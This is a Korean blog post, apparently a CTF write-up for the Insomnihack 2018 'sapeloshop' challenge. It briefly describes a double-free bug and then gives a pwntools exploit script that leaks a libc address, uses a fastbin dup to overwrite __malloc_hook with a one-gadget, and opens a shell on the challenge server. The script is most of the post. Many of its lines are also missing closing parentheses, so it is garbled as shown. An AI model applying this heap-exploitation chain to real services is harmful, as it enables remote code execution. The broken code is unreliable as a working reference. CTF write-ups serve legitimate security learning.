Pwnable/CTF

insomnihack CTF 2018 sapeloshop

HSr00t 2018. 1. 23. 02:02

문제를 처음 잡을때 엄청 어려울줄 알았는데 그렇게 어려운편은 아니였다.

대회당시에는 NULL값이 들어가면 malloc인자에 들어가는 사이즈크기가 증가를 안 해서 포기하고 다른 문제를 풀러갔는데 대회 끝나고 write up을 보니 %00을 이용하여서 풀수있었다..


취약점은 sub함수에서 전역 포인터에 NULL값으로 덮지않고 free를 해주고 한번더 free를 하기위해서는 전역 포인터 옆에 숫자가 1이상이 되어야하는데 그 문제는 inc함수에서 0인지 확인을 하지 않고 +1를 해주기때문에  fastbin dup 취약점이생긴다.


익스는 함수를 안 써서 그런지 엄청 더럽다..


from pwn import *
 
#p=process(["./sapeloshop"],env={'LD_PRELOAD':'./libc-2.23.so'})
p=remote("sapeloshop.teaser.insomnihack.ch",80)
elf=ELF("./sapeloshop")
raw_input('$ '#Connection: keep-alive
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"A"*260+"&260")
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"B"*260+"&260")
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/sub"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=0&1"#item=index&size
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=0&1")
p.recvuntil('<div class=\"row\"><div class=\"col-md-8\"><img src=\"img/')
main_arena = u64(p.recv(6)+"\x00\x00"- 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - 0x3c4b10
one_shot = libc_base + 0xf02a4
print hex(main_arena)
print hex(malloc_hook)
print hex(one_shot)
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 270'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"A"*260+"&260")
p.recvuntil('</html>')
sleep(1#0
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"C"*95+"&96")
p.recvuntil('</html>')
sleep(1#2
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"D"*95+"&96")
p.recvuntil('</html>')
sleep(1#3
 
p.sendline("POST/sub"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=2&1"#item=index&size
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/del"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=3&1"#item=index&size
p.recvuntil('</html>')
sleep(1)
 
p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=2&1")
sleep(1)
 
p.sendline("POST/del"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
sleep(0.5)
p.sendline("item=2&1"#item=index&size
p.recvuntil('</html>')
sleep(1)
 
#fastbin dup start !
print "start"
 
payload = "desc="
payload += p64(malloc_hook-0x23)[:6]+"%00"*((95-len(payload))/3+ "&96"
print len(payload)
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: '+str(len(payload))+'\r\n\r')
p.sendline(payload)
sleep(0.5)
p.recvuntil('</html>')
sleep(2#4
 
 
 
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"e"*95+"&96")
p.recvuntil('</html>')
sleep(1#5
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 104'+'\r\n\r')
sleep(0.5)
p.sendline("desc="+"f"*95+"&95")
p.recvuntil('</html>')
sleep(1#6
 
payload = "desc="
payload += "A"*0x13
payload += p64(one_shot)[:6]+"%00"*((95-len(payload))/3+ "&96"
print len(payload)
p.sendline("POST/add"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: '+str(len(payload)+1)+'\r\n\r')
 
p.sendline(payload)
 
p.sendline("POST/inc"+'Connection: keep-alive'+"POST BBBB HTTP/1.1"+'Content-Length: 9'+'\r\n\r')
 
p.sendline("item=2&1")
 
 
 
p.interactive()
 
cs